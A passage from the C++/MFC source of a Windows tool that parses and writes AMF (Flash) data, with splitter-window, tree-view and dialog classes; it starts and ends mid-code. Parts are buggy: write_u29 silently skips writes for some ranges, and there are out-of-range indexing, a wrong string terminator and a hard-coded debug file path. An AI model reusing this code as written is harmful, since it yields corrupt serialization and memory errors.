                            obj->add_child(sub);


                        }


                    }       


                    


                    


                }


                


                if(dynamic)//(1,1,0,1)


                {


                    for(int i=0;i<DYNAMIC_OBJ_MAX_PROPERTY;i++)


                    {


                        read_string(ctx,subname);


                        if(subname.IsEmpty()) break;


                        


                        amf_object_handle sub = read_elem(ctx);


                        if(!sub.isnull())


                        {


                            sub->name = subname;


                            obj->add_child(sub);


                        }


                    }


                }


                obj->m_uGlobal=iref2;


                obj->index=iref;


                obj->maskbit2=maskbit2;


                obj->maskbit3=maskbit3;


                obj->maskbit4=maskbit4;


                add_ref_tab(ctx->m_szReadObjRefTab,obj);


                


                return obj;


            }


            


            else//情形:(1,1,1,0)


            {


                //这部分没有实现


            }


            


        }


        


}























}





amf_object_handle amf_static::read_bytearray(TAG_context *ctx)


{


    amf_object_handle obj = amf_object::Alloc();


    amf_object_handle obj2 = amf_object::Alloc();


    obj->type = DT_BYTEARRAY;


    ///////////////////////////////////////////////////


    obj2->type = DT_BYTEARRAY;


    int iref=add_ref_tab(ctx->m_szReadMaxRefTab,obj2);


    ///////////////////////////////////////////////////


    int objref = read_int(ctx);


    if(!is_refrence(objref))


    {


        int len = objref>>1;


        


        unsigned char* buf = (unsigned char*)malloc(len);


        read_data(ctx->m_IFileHandle,len,buf);


        


        obj->bytearrayValue = buf;


        obj->bytearrayLen = len;


        obj->m_uGlobal=iref;


        add_ref_tab(ctx->m_szReadObjRefTab,obj);


        return obj;


    }


    


    //  


    int idx = objref>>1;


    obj = get_ref_tab(ctx->m_szReadObjRefTab,idx,TRUE);


    if(!obj.isnull() && obj->type==DT_ARRAY)


    {


        return obj;


    }


    


    return NULL;


}





void amf_static::_DumpAmf(amf_object_handle handle, HTREEITEM ht, CTreeCtrl &tc,CString &stresult)


{


    amf_object *amf=handle._getamfobject();


    CString stritem;


    HTREEITEM htemp;


    int i,j;


    


    switch(amf->type)


    {


        case DT_NULL:


            stritem.Format("%s  NULL",amf->name);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+"  ";


            break;


        case DT_FALSE:


            stritem.Format("%s  FALSE",amf->name);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+"  ";


            break;


        case DT_TRUE:


            stritem.Format("%s  TRUE",amf->name);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+"  ";


            break;


        case DT_INTEGER:


            stritem.Format("%s:  %d",amf->name,amf->intValue);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+"  ";


            break;


        case DT_DOUBLE:


            stritem.Format("%s:  %f",amf->name,amf->doubleValue);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+" ";


            break;


        case DT_STRING:


            stritem.Format("%s:  %s",amf->name,amf->strValue);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+" ";


            break;


        case DT_DATE:


            stritem.Format("%s[DATE]  %d-%d-%d",amf->name,amf->dateValue.wYear,amf->dateValue.wMonth,amf->dateValue.wDay);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+" ";


            break;


        case DT_ARRAY:


            stritem.Format("%s[Array]元素个数:%d",amf->name,amf->childrens.size());


            htemp=tc.InsertItem(stritem,ht);


            stresult+=stritem+" ";


            for( i=0;i<amf->childrens.size();i++)


            {   


                _DumpAmf(amf->childrens[i],htemp,tc,stresult);


            }


    


            


        break;  


        case DT_OBJECT:


            stritem.Format("%s[Object]classname:%s(%d,%d,%d,%d)",amf->name,amf->classname,amf->maskbit1,\


                amf->maskbit2,amf->maskbit3,amf->maskbit4);


            htemp=tc.InsertItem(stritem,ht);


            stresult+=stritem+"    ";


            for( i=0;i<amf->childrens.size();i++)


            {


                _DumpAmf(amf->childrens[i],htemp,tc,stresult);


            }


            break;


        case DT_BYTEARRAY:


            stritem.Format("bytearray %d",amf->bytearrayLen);


            tc.InsertItem(stritem,ht);


            stresult+=stritem+" ";


            break;


    default:





        break;


    }





}











DWORD amf_static::_DeGzip(BYTE *pbuf1,CByteArray* pByteArray,UINT ulen1)


{   


    FILE *out=fopen("f:\\result.txt","wb");


    CString s;


    CGZIP2A a(pbuf1,ulen1);


    size_t count=strlen(a.psz);





    pByteArray->SetSize(a.Length);


    memcpy(pByteArray->GetData(),a.psz,a.Length);





    size_t count1=fwrite(a.psz,1,a.Length,out);


    fclose(out);


    


    return a.Length;


}





void amf_static::read_head(TAG_context *ctx)


{


    CString log;





    BYTE sVer[2];//amf协议版本号


    amf_static::read_data(ctx->m_IFileHandle,2,sVer);





    BYTE shead[2];//几个头部


    amf_static::read_data(ctx->m_IFileHandle,2,shead);





    BYTE sbody[2];//几个body


    amf_static::read_data(ctx->m_IFileHandle,2,sbody);


    


    BYTE starget[2];//目标字符串长度


    amf_static::read_data(ctx->m_IFileHandle,2,starget);


    


    BYTE sztarget[48]={0x0};


    amf_static::read_data(ctx->m_IFileHandle,(int)starget[1],sztarget);





    


    BYTE sresult[2];//目标字符串长度


    BYTE szresult[248];


    amf_static::read_data(ctx->m_IFileHandle,2,sresult);





    if(sresult[1]==0)


    {


        


    }else


    {


        amf_static::read_data(ctx->m_IFileHandle,(int )sresult[1],szresult);


    


    }





    BYTE blen[4];//主体长度


    amf_static::read_data(ctx->m_IFileHandle,4,blen);


    //跳过0x11字节


    BYTE bfix;


    amf_static::read_data(ctx->m_IFileHandle,1,&bfix);





    if(bfix!=0x11)


    {


        TAG_IODATA* data = (TAG_IODATA*)ctx->m_IFileHandle;


        data->pos -=1;


        





    }





    log.Format("%x,%x,%x,%x,%s",blen[0],blen[1],blen[2],blen[3],sztarget);


//  AfxMessageBox(log);





}





amf_object_handle amf_static::get_Traits_tab(type_amf_ref_tab &tab, int idx)


{


//  if(idx>=0 && idx<tab.size())


//      return tab[idx];


    CString xx;





    for(int i=0;i<tab.size();i++)


    {   


    //  xx.Format("%d/%d,idx=%d,value=%d,type=%d",i,tab.size(),idx,tab[i]->index,tab[i]->type);


    //  ::AfxMessageBox(xx);


        if(tab[i]->index==idx)


            break;


    }


    return tab[i];





}





__int64 amf_static::swap_i64(__int64 data)


{


    BYTE buf[8];


    ::memcpy(buf,&data,8);


    


    __int64 retvalue = 0;


    __int64 tmp;


    


    tmp = buf[0];


    retvalue = tmp<<56;


    


    tmp = buf[1];


    retvalue |= tmp<<48;


    


    tmp = buf[2];


    retvalue |= tmp<<40;


    


    tmp = buf[3];


    retvalue |= tmp<<32;


    


    tmp = buf[4];


    retvalue |= tmp<<24;


    


    tmp = buf[5];


    retvalue |= tmp<<16;


    


    tmp = buf[6];


    retvalue |= tmp<<8;


    


    tmp = buf[7];


    retvalue |= tmp;


    


    return retvalue;


}





CString amf_static::OEM_2_UTF8(const char *oem)


{


    if(oem==0) return "";


    


    int wlen = ::MultiByteToWideChar(CP_OEMCP,0,oem,-1,0,0);


    wchar_t* wbuf = new wchar_t[wlen+1];


    ::MultiByteToWideChar(CP_OEMCP,0,oem,-1,wbuf,wlen);


    wbuf[wlen] = L'0';


    


    int clen = ::WideCharToMultiByte(CP_UTF8,0,wbuf,-1,0,0,0,0);


    char* cbuf = new char[clen+1];


    ::WideCharToMultiByte(CP_UTF8,0,wbuf,-1,cbuf,clen,0,0);


    cbuf[clen] = '\0';


    


    CString str = cbuf;


    


    delete wbuf;


    delete cbuf;


    


    return str;


}





void amf_static::write_data(void *file, const unsigned char *buf, size_t size)


{


    TAG_IoData* data = (TAG_IoData*)file;


    if((data->buflen-data->pos)>=size) 


    {


        ::memcpy(data->buf+data->pos,buf,size);


        data->pos += size;


    }


}





void amf_static::write_byte(TAG_context *ctx, BYTE data)


{


     amf_static::write_data(ctx,&data,1);


}





void amf_static::write_type(TAG_context *ctx, DataType type)


{


    write_byte(ctx,type); 


}





void amf_static::write_string(TAG_context *ctx, CString str)


{


    str = OEM_2_UTF8(str.GetBuffer(0));


    


    int len = str.GetLength();


    if(len==0)


    {


        write_byte(ctx,0x1);


    }


    else


    {


        int objref = len<<1 | 1;


        write_u29(ctx,objref);


        write_data(ctx,(unsigned char*)str.GetBuffer(0),len);


    }


}





bool amf_static::write_u29(TAG_context *ctx, unsigned int data)


{


    if(data<=0x7F)


    {


        write_byte(ctx,(BYTE)data);


        return true;


    }


    


    unsigned int tmp;


    BYTE buf[4];


    if(data<=0x3FFF)


    {


        tmp = data>>7 | 0x80;


        buf[0] = tmp;


        


        buf[1] = data & 0x7F;


        


    //  write_data(ctx,buf,2);


        


        return true;


    }


    CString fuck;


    if(data<=0x001FFFFF)


    {


    


        tmp = data>>14 | 0x80;


        buf[0] = tmp;


        


        tmp = ((data>>7) & 0x7F) | 0x80;


        buf[1] = tmp;


        


        buf[2] = data & 0x7F;


        





        fuck.Format("%d,%d,%d",buf[0],buf[1],buf[2]);


    //  AfxMessageBox(fuck);


        write_data(ctx,buf,3);


        return true;


    }


    


    if(data<=0x0FFFFFFF)


    {


        tmp = data>>22 | 0x80;


        buf[0] = tmp;


        


        tmp = ((data>>15) & 0x7F) | 0x80;


        buf[1] = tmp;


        


        tmp = ((data>>8) & 0x7F) | 0x80;


        buf[2] = tmp;


        


        buf[3] = data & 0xFF;


        


    //  write_data(ctx,buf,4);


        


        return true;


    }


    


    return false;


}





void amf_static::write_u64(TAG_context *ctx, unsigned __int64 data)


{


    unsigned __int64 vdata = swap_u64(data);


    write_data(ctx,(unsigned char*)&vdata,8);


}





void amf_static::write_i64(TAG_context *ctx, __int64 data)


{


    __int64 vdata = swap_i64(data);


    write_data(ctx,(unsigned char*)&vdata,8);


}








源码/amf_static.h

// amf_static.h: interface for the amf_static class.
//
//////////////////////////////////////////////////////////////////////

#if !defined(AFX_AMF_STATIC_H__D1D792FE_635F_4600_B623_26D2202AD3CD__INCLUDED_)
#define AFX_AMF_STATIC_H__D1D792FE_635F_4600_B623_26D2202AD3CD__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "amf_object.h"
typedef struct TAG_IoData
{
	unsigned char* buf;
	int buflen;
	int pos;
}TAG_IODATA;

class amf_static  
{
public:
	static void  write_i64(TAG_context* ctx,__int64 data);
	static void  write_u64(TAG_context* ctx,unsigned __int64 data);
	static bool write_u29(TAG_context* ctx,unsigned int data);
	static void  write_string(TAG_context* ctx,CString str);
	static void write_type(TAG_context* ctx,DataType type);
	static void  write_byte(TAG_context* ctx,BYTE data);
	static void write_data(void* file,const unsigned char* buf,size_t size);
	static CString OEM_2_UTF8(const char* oem);
	static __int64 swap_i64(__int64 data);
	static amf_object_handle  get_Traits_tab(type_amf_ref_tab &tab,int idx);
	static UINT m_uIndex;
	static void read_head(TAG_context *ctx);
	static  DWORD _DeGzip(BYTE *pbuf1,CByteArray* pByteArray,UINT ulen1);
	static void _DumpAmf(amf_object_handle handle,HTREEITEM ht,CTreeCtrl &tc,CString &stresult);
	static amf_object_handle  read_bytearray(TAG_context* ctx);
	static amf_object_handle  read_obj(TAG_context* ctx);
	static amf_object_handle  read_elem(TAG_context* ctx);
	static amf_object_handle  read_array(TAG_context* ctx);
	static int add_ref_tab(type_amf_ref_tab &tab,amf_object_handle obj);
	static amf_object_handle  get_ref_tab(type_amf_ref_tab &tab,int idx,BOOL bflag=FALSE);
	static amf_object_handle read_date(TAG_context* ctx);
	static unsigned __int64 read_u64(TAG_context* ctx);
	static double read_double(TAG_context* ctx);
	static unsigned __int64 swap_u64(unsigned _int64 data);
	static DataType read_type(TAG_context* ctx);
	static unsigned char*  realloc_read_buf(TAG_context* ctx,size_t size);
	static bool is_refrence(int header);
	static void read_string(TAG_context* ctx,CString &str);
	static CString UTF8_2_OEM (const char* utf8);
	static int  read_int(TAG_context* ctx);
	static unsigned char read_byte(TAG_context* ctx);
	static int  read_data(void* file,size_t size,unsigned char* buf);
	amf_static();
	virtual ~amf_static();

};

#endif // !defined(AFX_AMF_STATIC_H__D1D792FE_635F_4600_B623_26D2202AD3CD__INCLUDED_)








源码/CxSplitterWnd.cpp


源码/CxSplitterWnd.cpp

// spsp.cpp : implementation file


//





#include "stdafx.h"


#include "CxSplitterWnd.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////





IMPLEMENT_DYNCREATE(CxSplitterWnd, CMDIChildWnd)





CxSplitterWnd::CxSplitterWnd()


{





}





CxSplitterWnd::~CxSplitterWnd()


{


}








BEGIN_MESSAGE_MAP(CxSplitterWnd, CSplitterWnd)


    //{{AFX_MSG_MAP(CxSplitterWnd)


        // NOTE - the ClassWizard will add and remove mapping macros here.


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// spsp message handlers








enum HitTestValue 


{ 


      noHit = 0,//表示没有选中任何对象


      vSplitterBox = 1,


      hSplitterBox = 2,


      bothSplitterBox = 3,


      vSplitterBar1 = 101,//代表各个方向的水平分割条


      vSplitterBar15 = 115,


      hSplitterBar1 = 201,//代表垂直方向的各个分割条


      hSplitterBar15 = 215,


      splitterIntersection1 = 301,//代表各个交叉点


      splitterIntersection225 = 525


};


          


CWnd* CxSplitterWnd::GetActivePane(int* pRow, int* pCol)


{


      ASSERT_VALID(this); 


      //获得当前的获得焦点的窗口


      //下面注释粗体的是原有的代码的主要部分。


      // CWnd* pView = NULL;


      //CFrameWnd* pFrameWnd = GetParentFrame();


      //ASSERT_VALID(pFrameWnd);


      //pView = pFrameWnd->GetActiveView();


      //if (pView == NULL)


      // pView = GetFocus();


      CWnd* pView = GetFocus();


      if (pView != NULL && !IsChildPane(pView, pRow, pCol))


              pView = NULL;


      return pView; 


} 


          


void CxSplitterWnd::SetActivePane( int row, int col, CWnd* pWnd) 


{


      CWnd* pPane = pWnd == NULL ? GetPane(row, col) : pWnd; 


      //下面加注释粗体的是原有代码的主要部分。


      //FrameWnd* pFrameWnd = GetParentFrame();


      //ASSERT_VALID(pFrameWnd); 


      //pFrameWnd->SetActiveView((CView*)pPane); 


      pPane->SetFocus();//修改后的语句 


}


          


void CxSplitterWnd::StartTracking(int ht)


{


          ASSERT_VALID(this); 


          if (ht == noHit) 


                  return;


          // GetHitRect will restrict ''''m_rectLimit'''' as appropriate 


  


          GetInsideRect(m_rectLimit);


          if (ht >= splitterIntersection1 && ht <= splitterIntersection225) 


  


          { 


                  // split two directions (two tracking rectangles) 


  


                  int row = (ht - splitterIntersection1) / 15; 


  


                  int col = (ht - splitterIntersection1) % 15; 


  


                  GetHitRect(row + vSplitterBar1, m_rectTracker); 


  


                  int yTrackOffset = m_ptTrackOffset.y; 


                  m_bTracking2 = TRUE; 


                  GetHitRect(col + hSplitterBar1, m_rectTracker2); 


  


                  m_ptTrackOffset.y = yTrackOffset; 


          } 


          else if (ht == bothSplitterBox) 


          { 


          // hit on splitter boxes (for keyboard) 


          GetHitRect(vSplitterBox, m_rectTracker); 


          int yTrackOffset = m_ptTrackOffset.y; 


          m_bTracking2 = TRUE; 


          GetHitRect(hSplitterBox, m_rectTracker2); 


          m_ptTrackOffset.y = yTrackOffset; // center it 


          m_rectTracker.OffsetRect(0, m_rectLimit.Height()/2); m_rectTracker2.OffsetRect(m_rectLimit.Width()/2,  0); 


          } 


          else


          { 


          // only hit one bar 


          GetHitRect(ht, m_rectTracker); 


          } 


  


  //下面加注释的将从程序中删去。 


  //CView* pView = (CView*)GetActivePane(); 


  //if (pView != NULL && pView->IsKindOf(RUNTIME_CLASS(CView))) 


  //{ 


  // ASSERT_VALID(pView); 


  // CFrameWnd* pFrameWnd = GetParentFrame(); 


  //ASSERT_VALID(pFrameWnd); 


  //pView->OnActivateFrame(WA_INACTIVE, pFrameWnd); 


  // } 


  // steal focus and capture


          SetCapture();


          SetFocus();


          // make sure no updates are pending 


          RedrawWindow(NULL, NULL, RDW_ALLCHILDREN | RDW_UPDATENOW); 


  


          // set tracking state and appropriate cursor


          m_bTracking = TRUE;


          OnInvertTracker(m_rectTracker); 


          if (m_bTracking2) 


                  OnInvertTracker(m_rectTracker2); 


          m_htTrack = ht; 


          SetSplitCursor(ht); 


}


          


BOOL CxSplitterWnd::OnCommand(WPARAM wParam, LPARAM lParam) 


{ 


          if (CWnd::OnCommand(wParam, lParam)) 


                  return TRUE; 


          //下面粗体的是原程序的语句 


  //return GetParentFrame()->SendMessage(WM_COMMAND, wParam, lParam); 


  


          return GetParent()->SendMessage(WM_COMMAND, wParam, lParam); 


          


}


BOOL CxSplitterWnd::OnNotify( WPARAM wParam, LPARAM lParam, LRESULT* pResult )


{


      if (CWnd::OnNotify(wParam, lParam, pResult)) 


              return TRUE; 


      //下面粗体的是源程序的语句


      //*pResult = GetParentFrame()->SendMessage(WM_NOTIFY,  wParam, lParam);


      *pResult = GetParent()->SendMessage(WM_NOTIFY, wParam, lParam);


      return TRUE;


} 


          


BOOL CxSplitterWnd::OnWndMsg(UINT message, WPARAM wParam, LPARAM lParam, LRESULT* pResult) 


{ 


      // The code line below is necessary if using CxSplitterWnd     in a regular dll 


      // AFX_MANAGE_STATE(AfxGetStaticModuleState());


      return CWnd::OnWndMsg(message, wParam, lParam, pResult); 


          


} 





void CxSplitterWnd::OnSize(UINT nType, int cx, int cy) 


{


    


    // TODO: Add your message handler code here


    


}








源码/CxSplitterWnd.h

#if !defined(AFX_SPSP_H__DA9F23A8_CC8D_4984_8EEC_B6F6DBE004D9__INCLUDED_)
#define AFX_SPSP_H__DA9F23A8_CC8D_4984_8EEC_B6F6DBE004D9__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// CxSplitterWnd.h : header file
//

/////////////////////////////////////////////////////////////////////////////
// spsp frame with splitter

#ifndef __AFXEXT_H__
#include <afxext.h>
#endif

class CxSplitterWnd : public CSplitterWnd
{
	DECLARE_DYNCREATE(CxSplitterWnd)
protected:

// Attributes
protected:
	CSplitterWnd    m_wndSplitter;
public:
	CxSplitterWnd();           // protected constructor used by dynamic creation

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CxSplitterWnd)

	virtual void StartTracking(int ht); 
	virtual void OnSize(UINT nType, int cx, int cy) ;
	virtual CWnd* GetActivePane(int* pRow = NULL, int* pCol  = NULL); 
	virtual void SetActivePane( int row, int col, CWnd* pWnd  = NULL ); 
	virtual BOOL OnCommand(WPARAM wParam, LPARAM lParam); 
	virtual BOOL OnNotify( WPARAM wParam, LPARAM lParam, LRESULT* pResult ); 
	virtual BOOL OnWndMsg( UINT message, WPARAM wParam, LPARAM lParam, LRESULT* pResult ); 	//}}AFX_VIRTUAL

// Implementation
public:
	virtual ~CxSplitterWnd();

	// Generated message map functions
	//{{AFX_MSG(CxSplitterWnd)
		// NOTE - the ClassWizard will add and remove member functions here.
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_SPSP_H__DA9F23A8_CC8D_4984_8EEC_B6F6DBE004D9__INCLUDED_)








源码/EndView.cpp


??/EndView.cpp

// EndView.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "EndView.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CEndView





IMPLEMENT_DYNCREATE(CEndView, CListView)





CEndView::CEndView()


{


}





CEndView::~CEndView()


{


}








BEGIN_MESSAGE_MAP(CEndView, CListView)


    //{{AFX_MSG_MAP(CEndView)


        // NOTE - the ClassWizard will add and remove mapping macros here.


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CEndView drawing





void CEndView::OnDraw(CDC* pDC)


{


    CDocument* pDoc = GetDocument();


    // TODO: add draw code here


}





/////////////////////////////////////////////////////////////////////////////


// CEndView diagnostics





#ifdef _DEBUG


void CEndView::AssertValid() const


{


    CListView::AssertValid();


}





void CEndView::Dump(CDumpContext& dc) const


{


    CListView::Dump(dc);


}


#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CEndView message handlers





void CEndView::OnInitialUpdate() 


{


    CListView::OnInitialUpdate();


    


    // TODO: Add your specialized code here and/or call the base class


    m_ImageList.Create(16,16,TRUE|ILC_COLOR32,2,1);


    m_ImageList.Add(AfxGetApp()->LoadIcon(IDI_MSG));





    


    


    GetListCtrl().SetImageList(&m_ImageList,LVSIL_SMALL);


    


    GetListCtrl().ModifyStyle(0,LVS_REPORT|LVS_SHOWSELALWAYS|LVS_NOCOLUMNHEADER);


    GetListCtrl().SendMessage(LVM_SETEXTENDEDLISTVIEWSTYLE,0,LVS_EX_FULLROWSELECT);


    CRect rect;


    GetListCtrl().GetWindowRect(&rect);


    GetListCtrl().InsertColumn(0,"",LVCFMT_LEFT,rect.Width()+1024,0);


    //GetListCtrl().InsertItem();


}








源码/EndView.h

#if !defined(AFX_ENDVIEW_H__1F96772B_97FE_43B1_82FF_7E2C55FE2881__INCLUDED_)
#define AFX_ENDVIEW_H__1F96772B_97FE_43B1_82FF_7E2C55FE2881__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// EndView.h : header file
//
#include <afxcview.h>
/////////////////////////////////////////////////////////////////////////////
// CEndView view

class CEndView : public CListView
{
protected:
	CEndView();           // protected constructor used by dynamic creation
	DECLARE_DYNCREATE(CEndView)

// Attributes
public:

// Operations
public:

// Overrides
	// ClassWizard generated virtual function overrides
	//{{AFX_VIRTUAL(CEndView)
	public:
	virtual void OnInitialUpdate();
	protected:
	virtual void OnDraw(CDC* pDC);      // overridden to draw this view
	//}}AFX_VIRTUAL

// Implementation
protected:
	virtual ~CEndView();
#ifdef _DEBUG
	virtual void AssertValid() const;
	virtual void Dump(CDumpContext& dc) const;
#endif

	// Generated message map functions
protected:
	CImageList m_ImageList;
	//{{AFX_MSG(CEndView)
		// NOTE - the ClassWizard will add and remove member functions here.
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()
};

/////////////////////////////////////////////////////////////////////////////

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_ENDVIEW_H__1F96772B_97FE_43B1_82FF_7E2C55FE2881__INCLUDED_)








源码/Fun1Dlg.cpp


??/Fun1Dlg.cpp

// Fun1Dlg.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "Fun1Dlg.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CFun1Dlg property page





IMPLEMENT_DYNCREATE(CFun1Dlg, CPropertyPage)





CFun1Dlg::CFun1Dlg() : CPropertyPage(CFun1Dlg::IDD)


{


    //{{AFX_DATA_INIT(CFun1Dlg)


        // NOTE: the ClassWizard will add member initialization here


    //}}AFX_DATA_INIT


}





CFun1Dlg::~CFun1Dlg()


{


}





void CFun1Dlg::DoDataExchange(CDataExchange* pDX)


{


    CPropertyPage::DoDataExchange(pDX);


    //{{AFX_DATA_MAP(CFun1Dlg)


        // NOTE: the ClassWizard will add DDX and DDV calls here


    //}}AFX_DATA_MAP


}








BEGIN_MESSAGE_MAP(CFun1Dlg, CPropertyPage)


    //{{AFX_MSG_MAP(CFun1Dlg)


    ON_WM_SIZE()


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CFun1Dlg message handlers





BOOL CFun1Dlg::OnInitDialog() 


{


    CPropertyPage::OnInitDialog();


    


    // TODO: Add extra initialization here


    








    CCreateContext context1;


    context1.m_pNewViewClass = RUNTIME_CLASS(CFun1LeftView);


    context1.m_pCurrentDoc = NULL;


    context1.m_pNewDocTemplate = NULL;


    context1.m_pLastView = NULL;


    context1.m_pCurrentFrame = NULL;


    


    CCreateContext context2;


    context2.m_pNewViewClass = RUNTIME_CLASS(CFun1RightView);


    context2.m_pCurrentDoc = NULL;


    context2.m_pNewDocTemplate = NULL;


    context2.m_pLastView = NULL;


    context2.m_pCurrentFrame = NULL;


    


    CWnd * pWnd = NULL;


    pWnd = GetDlgItem(IDC_STATIC1);


    CRect rect;


    pWnd->GetClientRect(&rect);


    


    m_wndSplitter.CreateStatic(pWnd,1,2);


    m_wndSplitter.CreateView( 0, 0, RUNTIME_CLASS( CFun1LeftView), CSize( 100, 0 ), &context1 );


    m_wndSplitter.CreateView( 0, 1, RUNTIME_CLASS(CFun1RightView ), CSize( 0, 0 ), &context2 );


    m_wndSplitter.MoveWindow(rect);


    


    m_bSplitterCreated=TRUE;











    return TRUE;  // return TRUE unless you set the focus to a control


                  // EXCEPTION: OCX Property Pages should return FALSE


}





void CFun1Dlg::OnSize(UINT nType, int cx, int cy) 


{


    CPropertyPage::OnSize(nType, cx, cy);


    


    // TODO: Add your message handler code here


    CRect rect,edrect;


    CWnd * pWnd = NULL;


    pWnd = GetDlgItem(IDC_STATIC1);


    


    


    GetWindowRect(rect);


    ScreenToClient(rect);


    if(pWnd!=NULL)


        pWnd->MoveWindow(rect);


    


    if(m_bSplitterCreated)


    {


        pWnd->GetClientRect(&edrect);


        pWnd->SetWindowPos(&wndTop, 0, 0, edrect.Width(), cy, SWP_SHOWWINDOW);


        pWnd->GetClientRect(&edrect);


        rect=edrect;


        m_wndSplitter.SetColumnInfo(0,rect.Width()/5,0);


        m_wndSplitter.MoveWindow(rect);


    }   


}





CFun1LeftView * CFun1Dlg::GetFun1LeftView()


{


    CFun1LeftView *pView=(CFun1LeftView*)m_wndSplitter.GetPane(0,0);


//  CheckPointer(pView,NULL);


    return pView;


}





CFun1RightView * CFun1Dlg::GetFun1RightView()


{


    CFun1RightView *pView=(CFun1RightView*)m_wndSplitter.GetPane(0,1);


//  CheckPointer(pView,NULL);


    return pView;


}








源码/Fun1Dlg.h

#if !defined(AFX_FUN1DLG_H__211E1298_1639_4524_A6C7_B8FAB5AA9F5D__INCLUDED_)
#define AFX_FUN1DLG_H__211E1298_1639_4524_A6C7_B8FAB5AA9F5D__INCLUDED_

#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
// Fun1Dlg.h : header file
//
#include "CxSplitterWnd.h"
#include "Fun1LeftView.h"
#include "Fun1RightView.h"
/////////////////////////////////////////////////////////////////////////////
// CFun1Dlg dialog

class CFun1Dlg : public CPropertyPage
{
	DECLARE_DYNCREATE(CFun1Dlg)

// Construction
public:
	CFun1RightView * GetFun1RightView();
	CFun1LeftView * GetFun1LeftView();
	CFun1Dlg();
	~CFun1Dlg();

// Dialog Data
	//{{AFX_DATA(CFun1Dlg)
	enum { IDD = IDD_DIALOG1 };
		// NOTE - ClassWizard will add data members here.
		//    DO NOT EDIT what you see in these blocks of generated code !
	//}}AFX_DATA


// Overrides
	// ClassWizard generate virtual function overrides
	//{{AFX_VIRTUAL(CFun1Dlg)
	protected:
	virtual void DoDataExchange(CDataExchange* pDX);    // DDX/DDV support
	//}}AFX_VIRTUAL

// Implementation
protected:
	CxSplitterWnd m_wndSplitter;
	BOOL		  m_bSplitterCreated;
	// Generated message map functions
	//{{AFX_MSG(CFun1Dlg)
	virtual BOOL OnInitDialog();
	afx_msg void OnSize(UINT nType, int cx, int cy);
	//}}AFX_MSG
	DECLARE_MESSAGE_MAP()

};

//{{AFX_INSERT_LOCATION}}
// Microsoft Visual C++ will insert additional declarations immediately before the previous line.

#endif // !defined(AFX_FUN1DLG_H__211E1298_1639_4524_A6C7_B8FAB5AA9F5D__INCLUDED_)








源码/Fun1LeftView.cpp


??/Fun1LeftView.cpp

// Fun1LeftView.cpp : implementation file


//





#include "stdafx.h"


#include "7QW.h"


#include "Fun1LeftView.h"





#ifdef _DEBUG


#define new DEBUG_NEW


#undef THIS_FILE


static char THIS_FILE[] = __FILE__;


#endif





/////////////////////////////////////////////////////////////////////////////


// CFun1LeftView





IMPLEMENT_DYNCREATE(CFun1LeftView, CTreeView)





CFun1LeftView::CFun1LeftView()


{





}





CFun1LeftView::~CFun1LeftView()


{


}








BEGIN_MESSAGE_MAP(CFun1LeftView, CTreeView)


    //{{AFX_MSG_MAP(CFun1LeftView)


    ON_WM_CREATE()


    //}}AFX_MSG_MAP


END_MESSAGE_MAP()





/////////////////////////////////////////////////////////////////////////////


// CFun1LeftView drawing





void CFun1LeftView::OnDraw(CDC* pDC)


{


    CDocument* pDoc = GetDocument();


    // TODO: add draw code here


}





/////////////////////////////////////////////////////////////////////////////


// CFun1LeftView diagnostics





#ifdef _DEBUG


void CFun1LeftView::AssertValid() const


{


    CTreeView::AssertValid();


}





void CFun1LeftView::Dump(CDumpContext& dc) const


{


    CTreeView::Dump(dc);


}


#endif //_DEBUG





/////////////////////////////////////////////////////////////////////////////


// CFun1LeftView message handlers





BOOL CFun1LeftView::Create(LPCTSTR lpszClassName, LPCTSTR lpszWindowName, DWORD dwStyle, const RECT& rect, CWnd* pParentWnd, UINT nID, CCreateContext* pContext) 


{


    // TODO: Add your specialized code here and/or call the base class





    return CWnd::Create(lpszClassName, lpszWindowName, dwStyle, rect, pParentWnd, nID, pContext);


}





void CFun1LeftView::OnInitialUpdate() 


{


    CTreeView::OnInitialUpdate();


    


    // TODO: Add your specialized code here and/or call the base class


    CTreeCtrl &tc=GetTreeCtrl();


    m_hRoot=tc.InsertItem("ROOT");








}





int CFun1LeftView::OnCreate(LPCREATESTRUCT lpCreateStruct) 


{


    if (CTreeView::OnCreate(lpCreateStruct) == -1)


        return -1;


    


    // TODO: Add your specialized creation code here


    CTreeCtrl& tc = GetTreeCtrl();


    long style = GetWindowLong(tc.m_hWnd,GWL_STYLE);


    style |= (TVS_HASLINES | TVS_LINESATROOT | TVS_HASBUTTONS | 


